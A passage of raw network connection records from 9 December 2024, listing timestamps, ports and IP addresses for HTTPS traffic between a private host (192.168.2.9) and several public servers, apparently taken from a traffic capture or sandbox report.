Dec 9, 2024 14:19:40.410914898 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.411019087 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.411041021 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.419639111 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.419671059 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.419713974 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.419728994 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.419763088 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.427285910 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.430661917 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.430700064 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.430727959 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.430757046 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.430759907 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.430798054 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.430820942 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.430835962 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.430874109 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.430881023 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.435205936 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.435235023 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.435288906 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.435309887 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.435353994 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.438361883 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.438438892 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.438451052 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.443375111 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.447195053 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.447285891 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.447297096 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.450798988 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.450882912 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.450897932 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.458723068 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.458826065 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.458837986 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.466622114 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.466711998 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.466727972 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.474383116 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.474478960 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.474498034 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.487211943 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.487245083 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.487354040 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.487376928 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.487427950 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.493598938 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.499424934 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.546854019 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.550299883 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.595448971 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.598669052 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.601150036 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.601248026 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.601272106 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.607847929 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.607960939 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.607975006 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.612875938 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.612983942 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.612992048 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.621970892 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.622056007 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.622066021 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.622100115 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.622740984 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.626506090 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.626513958 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.626594067 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.626701117 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.626750946 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.626774073 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.630609035 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.630675077 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.633011103 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.633064985 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.633074999 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.639282942 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.639291048 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.639333010 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.641026020 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.641067028 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.641077995 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.643548965 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.643613100 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.652393103 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.652492046 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.656716108 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.656785965 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.656809092 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.660721064 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.660801888 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.664798975 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.664872885 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.664886951 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.664901018 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.664947987 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.669420004 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.669502020 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.672784090 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.673863888 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.673927069 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.680938005 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.680968046 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.680991888 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.681016922 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.681057930 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.682418108 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.682473898 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.686645985 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.686718941 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.688654900 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.695250988 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.695331097 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.695530891 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.695574999 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.695605040 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.702732086 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.702800989 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.702826977 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.709657907 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.709733009 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.709753990 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.761558056 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.761589050 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.790934086 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.791053057 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.792785883 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.792838097 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.800000906 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.800082922 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.807051897 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.807126999 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.810025930 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.810477972 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.810542107 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.810568094 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.810586929 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.810604095 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.810652018 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.814950943 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.817291021 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.817353010 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.817361116 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.817373991 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.817410946 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.821933985 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.822854042 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.822885990 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.831322908 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.831331968 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.831377029 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.831402063 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.841315985 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.841392040 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.841414928 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.841454029 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.841464043 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.850059032 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.850132942 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.850163937 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.850202084 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.857439041 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.857445955 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.857496023 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.866058111 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.866064072 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.866105080 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.870585918 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.870594025 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.870635986 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.877980947 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.878026962 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.884092093 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.884150982 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.890201092 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.890255928 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.893271923 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.893316031 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.899529934 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.899584055 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.902784109 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.902841091 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:40.908970118 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.909024954 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.007319927 CET	443	49783	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:41.007601023 CET	49783	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:41.007658958 CET	443	49783	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:41.007941008 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:41.007993937 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.008025885 CET	443	49783	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:41.008965969 CET	49783	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:41.009069920 CET	443	49783	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:41.009147882 CET	49783	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:41.013536930 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:41.013602018 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.015969992 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:41.016027927 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.021265030 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:41.021317005 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.026027918 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:41.026077032 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.028549910 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:41.028598070 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.032994986 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:41.033051968 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.037561893 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:41.037643909 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.039880991 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:41.039928913 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.042087078 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:41.042134047 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.042346954 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.042408943 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:41.042457104 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.051357985 CET	443	49783	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:41.067653894 CET	49785	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:41.067687035 CET	443	49785	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:41.067737103 CET	49785	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:41.068173885 CET	49785	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:41.068188906 CET	443	49785	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:41.451024055 CET	443	49783	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:41.451136112 CET	443	49783	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:41.451210976 CET	49783	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:41.455893040 CET	49783	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:41.455939054 CET	443	49783	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:41.562182903 CET	49789	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.562216043 CET	443	49789	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:41.562289953 CET	49789	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.563024044 CET	49789	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:41.563035011 CET	443	49789	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:41.594439030 CET	49790	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:41.594511986 CET	443	49790	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:41.594608068 CET	49790	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:41.594935894 CET	49790	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:41.594950914 CET	443	49790	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:42.276913881 CET	443	49785	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:42.277288914 CET	49785	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:42.277307034 CET	443	49785	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:42.277626038 CET	443	49785	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:42.277954102 CET	49785	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:42.278019905 CET	443	49785	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:42.278081894 CET	49785	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:42.323331118 CET	443	49785	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:42.725867987 CET	443	49785	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:42.725953102 CET	443	49785	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:42.726032019 CET	49785	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:42.727252007 CET	49785	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:42.727267027 CET	443	49785	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:42.774676085 CET	443	49789	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:42.775051117 CET	49789	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:42.775067091 CET	443	49789	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:42.776082993 CET	443	49789	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:42.776155949 CET	49789	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:42.776510000 CET	49789	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:42.776567936 CET	443	49789	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:42.776638985 CET	49789	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:42.776647091 CET	443	49789	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:42.809021950 CET	443	49790	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:42.809314013 CET	49790	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:42.809346914 CET	443	49790	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:42.810345888 CET	443	49790	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:42.810408115 CET	49790	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:42.811492920 CET	49790	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:42.811557055 CET	443	49790	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:42.811644077 CET	49790	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:42.811650038 CET	443	49790	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:42.821106911 CET	49789	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:42.852087975 CET	49790	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:43.218884945 CET	443	49789	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:43.218956947 CET	443	49789	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:43.219059944 CET	49789	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:43.220671892 CET	49789	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:43.220685959 CET	443	49789	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:43.265678883 CET	443	49790	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:43.265749931 CET	443	49790	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:43.265825033 CET	49790	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:43.376585960 CET	49790	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:43.376626968 CET	443	49790	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:43.377185106 CET	49793	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:43.377221107 CET	443	49793	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:43.377289057 CET	49793	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:43.377506018 CET	49793	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:43.377516985 CET	443	49793	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:43.621625900 CET	49797	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:43.621686935 CET	443	49797	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:43.621772051 CET	49797	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:43.621979952 CET	49797	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:43.621994019 CET	443	49797	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:43.818995953 CET	49798	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:43.819051981 CET	443	49798	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:43.819144011 CET	49798	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:43.819444895 CET	49798	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:43.819459915 CET	443	49798	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:44.587562084 CET	443	49793	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:44.587904930 CET	49793	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:44.587922096 CET	443	49793	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:44.588222980 CET	443	49793	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:44.588556051 CET	49793	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:44.588613033 CET	443	49793	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:44.588882923 CET	49793	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:44.631335020 CET	443	49793	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:44.994137049 CET	443	49797	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:44.994395971 CET	49797	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:44.994425058 CET	443	49797	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:44.994745016 CET	443	49797	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:44.995117903 CET	49797	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:44.995179892 CET	443	49797	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:44.995279074 CET	49797	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:45.035342932 CET	443	49797	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:45.038640976 CET	443	49798	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:45.038911104 CET	49798	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:45.038930893 CET	443	49798	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:45.039386988 CET	443	49798	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:45.040612936 CET	49798	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:45.040683031 CET	443	49798	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:45.040782928 CET	49798	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:45.083333969 CET	443	49798	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:45.099729061 CET	443	49793	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:45.100064993 CET	443	49793	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:45.100112915 CET	49793	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:45.100151062 CET	49793	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:45.100172043 CET	443	49793	35.190.80.1	192.168.2.9
Dec 9, 2024 14:19:45.100183010 CET	49793	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:45.100213051 CET	49793	443	192.168.2.9	35.190.80.1
Dec 9, 2024 14:19:45.439832926 CET	443	49797	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:45.439901114 CET	443	49797	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:45.439954042 CET	49797	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:45.440623045 CET	49797	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:45.440643072 CET	443	49797	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:45.483849049 CET	443	49798	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:45.483952045 CET	443	49798	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:45.484019995 CET	49798	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:45.484026909 CET	443	49798	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:45.484083891 CET	49798	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:45.491636038 CET	49798	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:45.491661072 CET	443	49798	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:45.541297913 CET	49801	443	192.168.2.9	104.18.95.41
